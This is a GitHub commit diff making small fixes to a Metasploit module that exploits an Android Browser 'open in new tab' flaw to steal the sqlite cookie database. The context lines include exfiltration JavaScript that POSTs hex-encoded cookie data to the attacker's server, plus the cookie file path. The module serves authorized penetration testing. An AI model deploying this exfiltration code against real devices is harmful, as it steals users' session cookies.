Skip to content

Commit c9f43e7

Browse files
committed
Merge pull request #16 from todb-r7/fixup-4461
Fixup rapid7#4461, Android sqllite theft bug
2 parents 8d73794 + 1236684 commit c9f43e7

File tree

1 file changed

+4
-10
lines changed

1 file changed

+4
-10
lines changed

modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb

Lines changed: 4 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -16,7 +16,7 @@ def initialize(info={})
1616
super(update_info(info,
1717
'Name' => 'Android Browser "Open in New Tab" Cookie Theft',
1818
'Description' => %q{
19-
In Android (AOSP)'s Browser application and WebView component the
19+
In Android (AOSP)'s Browser application and WebView component the
2020
"open in new tab" functionality allows a file URL to be opened. On
2121
versions of Android before 4.4, the path to the sqlite cookie
2222
database could be specified. By saving a cookie containing a <script>
@@ -110,7 +110,7 @@ def exfiltration_js
110110
return (c.length < 2) ? '0'+c : c;
111111
}).join('');
112112
var x2 = new XMLHttpRequest();
113-
x2.open('POST', '#{backend_url}/');
113+
x2.open('POST', '#{get_uri}/');
114114
x2.setRequestHeader('Content-type', 'text/plain');
115115
x2.send(hex);
116116
}
@@ -130,13 +130,7 @@ def cookie_path(file='')
130130
'/data/data/com.android.browser/databases/' + file
131131
end
132132

133-
def backend_url
134-
proto = (datastore["SSL"] ? "https" : "http")
135-
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
136-
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
137-
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH'].gsub(/^\//, '')}"
138-
end
139-
133+
# TODO: Make this a proper Rex::Text function
140134
def hex2bin(hex)
141135
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
142136
end

0 commit comments

Comments
 (0)